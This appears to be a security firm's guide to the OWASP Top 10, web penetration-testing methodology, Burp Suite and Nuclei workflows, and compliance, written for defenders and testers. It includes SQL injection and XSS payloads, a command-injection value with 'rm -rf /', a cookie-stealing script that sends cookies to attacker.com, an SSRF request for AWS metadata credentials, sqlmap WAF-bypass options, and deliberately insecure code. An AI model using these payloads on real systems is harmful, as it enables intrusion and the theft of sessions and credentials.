Web application security: OWASP Top 10, security testing and WAF
Comprehensive Guide to Web Application Security: OWASP Top 10 (2021) with secure code examples, complete WSTG testing methodology (SQL injection, XSS, SSRF, IDOR, business logic), Burp Suite Pro Workflow, Nuclei Scanning, Security Headers, WAF Configuration, and Compliance Requirements (PCI DSS, BSI IT-Grundschutz, ISO 27001, NIS2). For developers, security teams, and clients commissioning web penetration tests.
Table of Contents (8 sections)
Web applications—corporate portals, APIs, cloud services, SaaS platforms—are the most frequently targeted area in IT security. According to the Verizon DBIR 2024, 39% of all data breaches begin with a web application attack. The OWASP Project documents the ten most critical vulnerability categories and serves as the global benchmark for web application security. A professional web penetration test identifies critical risks, produces reproducible findings, and provides the development team with concrete remediation recommendations.
OWASP Top 10 (2021) – The Most Critical Vulnerabilities
A01: Broken Access Control
Most common OWASP category. Users can access resources for which they have no authorization.
Typical vulnerabilities:
- IDOR (Insecure Direct Object Reference): URL
/api/invoice/1234- change to/api/invoice/1235to view someone else’s invoice - Missing authorization checks on API endpoints (frontend checks are not sufficient protection)
- Privilege Escalation: Parameter
role=adminin POST request
Insecure:
// GET /api/orders/:id - no check to see if the order belongs to the user
app.get('/api/orders/:id', async (req, res) => {
const order = await db.query('SELECT * FROM orders WHERE id = ?', [req.params.id]);
res.json(order); // ANYONE can read ANY order!
});
Secure:
app.get('/api/orders/:id', authenticate, async (req, res) => {
const order = await db.query(
'SELECT * FROM orders WHERE id = ? AND user_id = ?',
[req.params.id, req.user.id] // Always perform ownership checks!
);
if (!order) return res.status(403).json({ error: 'Forbidden' });
res.json(order);
});
A02: Cryptographic Failures
Missing or weak encryption does not adequately protect sensitive data.
Typical vulnerabilities:
- Passwords in plain text or MD5/SHA1 hash (crackable)
- HTTP instead of HTTPS for sensitive data
- Outdated algorithms: DES, RC4, MD5
- Hardcoded encryption keys in the source code
Insecure:
# MD5 for passwords - crackable in seconds
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()
Secure:
# bcrypt with salt - designed for password hashing
import bcrypt
password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
# Or: Argon2id (recommended by OWASP), scrypt
A03: Injection (SQL Injection, Command Injection, LDAP Injection)
Attackers inject code into the interpreter—the most dangerous classic vulnerability.
SQL Injection:
-- Attacker input: admin'--
-- Resulting query:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
-- The "--" comments out the password check!
Secure (Prepared Statements):
# Python with SQLite - NO string concatenation
cursor.execute(
"SELECT * FROM users WHERE username = ? AND password = ?",
(username, password_hash) # Data separated from SQL code
)
Command Injection:
# Insecure: User input directly in shell
import subprocess
filename = request.args.get('file') # Attacker: "file=; rm -rf /"
subprocess.run(f"cat /uploads/{filename}", shell=True) # DANGEROUS!
# Secure: No shell=True, no string interpolation
subprocess.run(["cat", f"/uploads/{os.path.basename(filename)}"], shell=False)
A04: Insecure Design
Security issues in the architecture itself—cannot be fixed with patches.
Examples:
- No rate limiting on login endpoint (brute force attacks possible)
- "Forgot password" feature sends password in plain text via email
- Multi-tenant SaaS without tenant separation in the database
- Session token in the URL (Referer header leaks token)
Solution: Threat modeling before implementation, secure design reviews.
A05: Security Misconfiguration
Default configurations are often insecure.
nginx Security Configuration:
# Hide nginx version
server_tokens off;
# Security Headers
add_header X-Frame-Options "DENY";
add_header X-Content-Type-Options "nosniff";
add_header Referrer-Policy "strict-origin-when-cross-origin";
add_header Content-Security-Policy "default-src 'self'";
# Only TLS 1.2 + 1.3
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';
A06: Vulnerable and Outdated Components
Third-party libraries with known CVEs. Largest known case: Log4Shell (CVE-2021-44228) - Remote code execution with a CVSS score of 10.0 via a single-line payload in the User-Agent header.
# SCA in CI/CD (Software Composition Analysis)
npm audit --production
pip-audit
./mvnw dependency-check:check -Dfailbuild=true -DcvssScoreThreshold=7.0
A07: Identification and Authentication Failures
JWT Security Pitfalls:
// Insecure: Accepts "none" algorithm
const decoded = jwt.verify(token, secret, { algorithms: ['HS256', 'none'] });
// Secure: Explicitly specify algorithm
const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] });
A08: Software and Data Integrity Failures
# Check package hashes (npm)
npm ci --ignore-scripts # lockfile-based, no npm install
# Subresource Integrity for CDN assets
<script src="https://cdn.example.com/lib.js"
integrity="sha384-ABC123..."
crossorigin="anonymous"></script>```
### A09: Security Logging and Monitoring Failures
```javascript
// Always log security-related events
logger.security('LOGIN_FAILURE', {
username: sanitize(username), // Do not log passwords!
ip: req.ip,
timestamp: new Date().toISOString(),
userAgent: req.headers['user-agent']
});
A10: Server-Side Request Forgery (SSRF)
# Attacker request:
POST /api/fetch-preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# ↑ AWS Metadata Service - returns IAM credentials!
Protection:
from urllib.parse import urlparse
import ipaddress
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
if parsed.scheme != 'https':
return False
try:
ip = ipaddress.ip_address(parsed.hostname)
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except ValueError:
pass
ALLOWED_DOMAINS = ['api.trusted-partner.com', 'cdn.example.com']
return any(parsed.hostname.endswith(d) for d in ALLOWED_DOMAINS)
Security Headers: Required for every web app
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'; object-src 'none'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
CSP (Content Security Policy) is the most powerful defense against XSS—it prevents the execution of unauthorized scripts.
WSTG Testing Methodology for Web Penetration Tests
WSTG Testing Phases (OWASP):
1. Information Gathering (OTG-INFO):
Passive Reconnaissance:
→ DNS Information: Subdomains, MX Records, SPF
→ WHOIS: Registrar, Contacts, Registration Date
→ Shodan/Censys: Open Ports, Technology Stack
→ crt.sh: Subdomains from CT Logs
→ Wayback Machine: Old API Endpoints, Hidden Pages
→ Google Dorking: site:target.com filetype:pdf, inurl:admin
# Subfinder + httpx:
subfinder -d target.com -silent | httpx -status-code -title
# Feroxbuster (Directory Brute-Force):
feroxbuster -u https://target.com -w wordlist.txt -x php,asp,aspx,txt,bak
2. Configuration Testing (OTG-CONFIG):
→ HTTP methods: Are PUT, DELETE, TRACE allowed?
curl -X OPTIONS https://target.com -v
→ Check security headers:
curl -I https://target.com | grep -i "x-frame\|csp\|hsts\|x-content"
→ TLS configuration: testssl.sh target.com
→ Debug mode disabled? /api/debug, /.env, /config.yaml
→ Backup files: /index.php.bak, /web.config.bak
3. Identity Management + Authentication (OTG-IDENT, OTG-AUTHN):
→ Username enumeration: same error message for incorrect username + incorrect password?
→ Brute-force protection: account lockout after X attempts?
→ Default credentials: admin/admin, admin/password
→ MFA bypass: account recovery without MFA?
→ JWT weaknesses: alg=none, RS256→HS256, weak secret
4. Session Management (OTG-SESS):
→ Session token analysis: Is entropy sufficient?
→ Session fixation: Is the session changed after login?
→ Cookie flags: Secure, HttpOnly, SameSite=Strict?
→ Session Timeout: Invalid after inactivity?
→ Logout: Is the session token actually invalidated?
5. Input Validation Testing (OTG-INPVAL):
→ SQL Injection, XSS, SSRF, XXE, IDOR, Command Injection
6. Error Handling (OTG-ERR):
→ Stack traces in the response?
→ Analyze HTTP 500 responses
7. Business Logic (OTG-BUSLOGIC):
→ Quantity manipulation: Shopping cart with negative quantity
→ Step bypassing: Can checkout be completed without an address?
→ Race conditions: Parallel requests for the same coupon code
→ Price manipulation: Parameter tampering in the request body
SQL Injection Testing
SQL Injection Testing Methodology:
Detection:
id=1' → SQL syntax error?
id=1 AND 1=1 → same result as id=1?
id=1 AND 1=2 → different result (True vs. False)!
# Error-based SQLi:
id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,@@version)) --
→ MySQL outputs version number in error message!
# Time-based Blind SQLi:
id=1; SELECT SLEEP(5) -- → MySQL
id=1; WAITFOR DELAY '0:0:5' -- → MSSQL
Using sqlmap in a penetration test:
# Basic scan:
sqlmap -u "https://target.com/product?id=1" --batch
# With session cookie:
sqlmap -u "https://target.com/api/users" \
--cookie="session=xyz123" \
--data="id=1" \
--batch --level=3 --risk=2
# WAF bypass:
sqlmap -u "..." --tamper=space2comment,charencode
XSS Testing
Cross-Site Scripting Testing Methodology:
Reflected XSS:
?search=<script>alert(1)</script>→ Does it appear unescaped in the response? → Reflected XSS!
# Attribute Context (value="..."):
" onmouseover="alert(1)
# JavaScript Context (var x="..."):
";alert(1)//
Stored XSS:
# Session Hijacking Payload:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>DOM-based XSS:
→ JavaScript reads URL fragment (#hash) or parameters
→ Writes directly to the DOM without a server roundtrip
→ Not visible in the HTTP response → Scanner-blind!
Protection:
→ Output Encoding (context-dependent!):
HTML: & < > "
JS: \x22 \x27
URL: encodeURIComponent()
→ Content Security Policy (CSP): prevents inline scripts
→ HttpOnly Cookies: XSS cannot steal the session
Burp Suite Pro Workflow
Professional Penetration Testing Workflow with Burp Suite Pro:
1. Set up project:
→ New Burp project for each client
→ Define scope: Target → Scope → Include
→ Automatic crawling: Spider + Content Discovery
2. Proxy Intercept:
→ Analyze all requests
→ Mark interesting endpoints (Annotate)
→ Identify sensitive parameters
3. Burp Scanner (automatic):
→ Active scan on scope URLs
→ Sort issues by severity: High first
4. Burp Intruder (manual):
# Test SQL injection in parameter list:
Positions: id=§1§
Payloads: SQL payload wordlist
Grep: "error", "syntax", "mysql"
5. Burp Repeater:
→ Modify individual requests in a reproducible manner
→ Reproduce PoC for each finding
6. Collaborator:
→ Out-of-band testing: SSRF, Blind XSS, Blind SQLi, XXE
→ Unique Collaborator URL per test
7. Important Extensions:
→ Active Scan++ (enhanced scanner rules)
→ AuthMatrix (auth bypass testing)
→ Turbo Intruder (high-speed requests)
→ JWT Editor (JWT vulnerabilities)
→ Param Miner (Hidden Parameter Discovery)
Nuclei for automated scanning:
nuclei -u https://target.com -t nuclei-templates/
nuclei -u https://target.com -tags cve,sqli,xss
nuclei -u https://target.com -severity critical,high
OWASP Top 10 Penetration Testing Checklist
OWASP Top 10 2021 - Penetration Testing Checklist:
A01:2021 Broken Access Control:
□ IDOR: Test for external IDs in API requests
□ Vertical Privilege Escalation: Admin endpoints with a normal user
□ Missing Function-Level Access Control: Are hidden buttons accessible?
□ CORS Misconfiguration: Access-Control-Allow-Origin: *
A02:2021 Cryptographic Failures:
□ HTTP instead of HTTPS? Is HSTS enabled?
□ Sensitive data in URLs (query strings)? → Check server logs!
□ Weak TLS: testssl.sh → no TLS 1.0/1.1
□ Password Hashing: bcrypt/Argon2 or MD5/SHA1?
A03:2021 Injection:
□ SQL Injection in all database queries
□ Command Injection: injecting OS commands?
□ LDAP injection: if LDAP authentication
□ Template injection: SSTI in template engines
A04:2021 Insecure Design:
□ Business logic testing (quantities, prices, steps)
□ Race conditions (parallel requests)
□ Account enumeration (identical error messages?)
A05:2021 Security Misconfiguration:
□ Are security headers complete? CSP, HSTS, X-Frame-Options...
□ Debug mode in production?
□ Default credentials for admin panels?
A06:2021 Vulnerable and Outdated Components:
□ Version numbers from response headers + error pages
□ CVE check for identified versions
A07:2021 Identification and Authentication Failures:
□ Brute-force protection (rate limiting, CAPTCHA)
□ Session token entropy and validity
□ MFA implementation and bypass possibilities
□ JWT weaknesses: alg=none, exp check, key confusion
A10:2021 Server-Side Request Forgery (SSRF):
□ URL parameters → server request?
□ Webhook URLs → SSRF possible?
□ Import functions (CSV import, avatar URL)?
Report Structure (AWARE7 Standard):
Executive Summary:
→ Overall risk assessment (traffic light: Red/Yellow/Green)
→ Top 3 critical findings in plain language
→ Recommended next steps (prioritized)
Technical Findings (per finding):
→ Vulnerability class + OWASP reference
→ CVSS v3.1 score + vector string
→ Description + cause
→ Reproduction steps (step-by-step)
→ Screenshot / PoC
→ Remediation recommendation (specific and actionable)
Appendix:
→ Tested URLs/Endpoints
→ Tools and versions used
→ Test scope and exclusions
→ OWASP WSTG Test ID references
Compliance and Web Security
PCI DSS 6.2/6.3: Protective measures against OWASP Top 10 for all Cardholder Data Systems.
BSI IT-Grundschutz CON.10: Development of web applications—explicitly using the OWASP Top 10 as a reference.
ISO 27001 A.8.28: Secure coding—input validation, output encoding, error handling.
NIS2 Art. 21: Security in the development and procurement of ICT systems.
AWARE7 performs web application penetration tests according to OWASP WSTG and delivers detailed reports with CVSS scores, reproducible proof-of-concepts, and prioritized recommendations for action.
Sources & References
- [1] OWASP Top 10 2021 - OWASP Foundation
- [2] OWASP Web Security Testing Guide (WSTG) - OWASP Foundation
- [3] NIST SP 800-95: Guide to Secure Web Services - NIST
- [4] BSI ORP.2: Sicheres Webanwendungsdesign - BSI
Questions about this topic?
Our experts advise you free of charge and without obligation.
About the Author
M.Sc. IT-Sicherheit mit über 5 Jahren Erfahrung in offensiver Sicherheitsanalyse. Leitet die Durchführung von Penetrationstests mit Spezialisierung auf Web-Applikationen, Netzwerk-Infrastruktur, Reverse Engineering und Hardware-Sicherheit. Verantwortlich für mehrere Responsible Disclosures.